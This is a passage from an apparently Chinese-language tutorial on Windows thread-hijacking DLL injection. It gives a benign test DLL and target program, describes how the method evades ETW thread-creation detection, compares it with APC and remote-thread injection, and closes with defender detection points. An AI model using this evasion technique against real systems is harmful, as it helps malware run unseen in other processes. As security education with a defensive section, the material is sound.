  8. 恢复线程 → 立即执行!

运行与验证

验证步骤

1. 准备测试 DLL

创建一个简单的测试 DLL:

1
2
3
4
5
6
7
8
9
10
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
MessageBoxA(NULL, "线程劫持注入成功!", "测试 DLL", MB_OK);
}
return TRUE;
}

编译为 C:\Injection.dll

2. 准备目标进程

创建一个简单的控制台程序(注意使用 Sleep 而不是 SleepEx):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <iostream>
#include <windows.h>

int main()
{
std::cout << "目标进程运行中,PID = " << GetCurrentProcessId() << "\n";
std::cout << "按 Ctrl+C 退出\n\n";

while (true)
{
std::cout << "工作中...\n";
Sleep(2000); // 注意:不是 SleepEx,线程永不 Alertable
}
return 0;
}

3. 启动 ETW 监听器

运行远程线程检测程序来监控线程创建事件。

4. 运行线程劫持程序,观察效果

线程劫持注入效果

如图所示:

  • 左侧:线程劫持注入程序成功运行,DLL 被加载并弹出提示框
  • 右侧:ETW 监听器显示”无任何线程创建事件“,说明未创建新线程
  • 任务管理器:线程数没有变化

绕过成功!而且比 APC 注入更可靠!

  • ✅ 不创建新线程 → 绕过 ETW 检测
  • ✅ 立即执行 → 不依赖 Alertable 状态,100% 成功率
  • ✅ 强制劫持 → 比被动等待的 APC 更可靠

对比三种注入技术

技术 创建新线程 执行时机 ETW 检测结果
远程线程 ✅ 创建 立即执行 ❌ 检测到
APC 注入 ❌ 复用 等待 Alertable ✅ 绕过(但可能不执行)
线程劫持 ❌ 复用 立即执行 ✅ 绕过且可靠

线程劫持的优势:

  • 不创建新线程 → 绕过 ETW
  • 立即执行 → 不依赖 Alertable
  • 成功率高 → 强制劫持

优势与局限

优势

  1. 不创建新线程

    • 避免触发线程创建事件
    • ETW 检测器无法检测
  2. 执行时机可控

    • 立即执行,不依赖 Alertable 状态
    • 成功率远高于 APC 注入
  3. 比 APC 注入更可靠

    • 强制劫持,不等待线程行为
    • 适用于所有类型的进程

局限

  1. 需要正确的 Shellcode

    • 必须保存/恢复寄存器
    • 必须跳回原始 RIP
    • 如果 Shellcode 有 bug → 线程崩溃 → 进程崩溃
  2. 暂停线程的风险

    • 如果劫持了持有锁的线程 → 可能死锁
    • 如果暂停了关键线程 → 目标进程可能卡顿
  3. 更容易被检测

    • SuspendThread 调用可被监控
    • SetThreadContext 修改上下文可被审计
    • 可执行内存页(PAGE_EXECUTE_READ)更可疑
  4. 仍有跨进程操作痕迹

    • 仍然需要 OpenProcess(高权限访问)
    • 仍然需要 VirtualAllocExWriteProcessMemory
    • 仍然需要 VirtualProtectEx(修改内存属性)

防御者的视角

虽然线程劫持绕过了线程创建检测,但并非无迹可寻。

可能的检测点:

  1. 监控 SuspendThread 调用

    • 通过 ETW 或 API Hook 监控
    • 检测跨进程的线程暂停行为
  2. 监控 SetThreadContext 调用

    • 检测 RIP 寄存器被修改
    • 特别是修改为动态分配的内存地址
  3. 检测内存属性变更

    • 监控 VirtualProtectEx 调用
    • 检测从 PAGE_READWRITE 改为 PAGE_EXECUTE_READ
  4. 扫描可疑可执行内存

    • 定期扫描进程内存
    • 识别 MEM_PRIVATE + PAGE_EXECUTE_* 的区域
    • 与模块列表比对,找出无归属的代码
  5. 行为关联分析

    • 关联”进程访问 + 内存分配 + 内存写入 + 属性修改 + 线程暂停 + 上下文修改”
    • 构建完整的攻击链时间线

互动时间

💬 评论区讨论:

  1. 你认为 Shellcode 中还有哪些寄存器需要保存/恢复?为什么 RAX 和 RCX 是必须的?
  2. 如果劫持了主线程会发生什么?有什么风险?
  3. 线程劫持 vs APC 注入,你会选择哪个?为什么?

🔥 关键词: 内存归属、VirtualQueryEx、MEM_PRIVATE、模块扫描